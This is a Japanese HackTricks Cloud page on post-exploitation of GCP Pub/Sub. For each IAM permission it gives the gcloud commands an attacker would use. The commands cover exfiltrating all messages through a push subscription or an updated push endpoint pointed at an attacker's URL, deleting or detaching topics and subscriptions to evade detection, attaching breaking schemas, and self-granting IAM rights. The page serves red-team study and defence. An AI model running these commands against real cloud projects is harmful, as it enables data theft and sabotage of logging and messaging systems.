GCP - Pub/Sub ポストエクスプロイテーション
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Pub/Sub
Pub/Subに関する詳細情報は、以下のページを確認してください:
pubsub.topics.publish
トピックにメッセージを公開します。これは、予期しないデータを送信し、予期しない機能をトリガーしたり、脆弱性を悪用するのに役立ちます:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
メッセージを受信するのを防ぐために便利で、検出を避けるためかもしれません。
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
サブスクリプションがメッセージを受信するのを防ぐために便利で、検出を避けるためかもしれません。
サブスクリプションが接続されていても、トピックを削除することが可能です。
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
この権限を使用して、--clear-schema-settings
、--message-retention-duration
、--message-storage-policy-allowed-regions
、--schema
、--schema-project
、--topic-encryption-key
などのトピックの設定を更新して妨害します。
pubsub.topics.setIamPolicy
以前の攻撃を実行するための権限を自分に与えます。
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
ウェブサーバー内のすべてのメッセージを取得します:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
サブスクリプションを作成し、メッセージをプルするために使用します:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
サブスクリプションを削除する は、ログ処理システムやそれに類似するものを妨害するのに役立つ可能性があります:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
この権限を使用して、メッセージがアクセス可能な場所(URL、Big Queryテーブル、バケット)に保存されるように設定を更新するか、単にそれを妨害します。
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
攻撃を実行するために必要な権限を自分に付与します。
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
スキーマをトピックに攻撃して、メッセージがそれを満たさないようにし、したがってトピックが中断されます。
スキーマがない場合は、作成する必要があるかもしれません。
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
これはスキーマを削除するように見えるかもしれませんが、スキーマに適合しないメッセージを送信することができます。しかし、スキーマが削除されるため、実際にはどのメッセージもトピックに入ることはありません。したがって、これは無駄です:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
攻撃を実行するために必要な権限を自分に付与します。
pubsub.snapshots.create
, pubsub.snapshots.seek
これは、すべての未ACKメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり役に立ちませんが、ここにあります:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。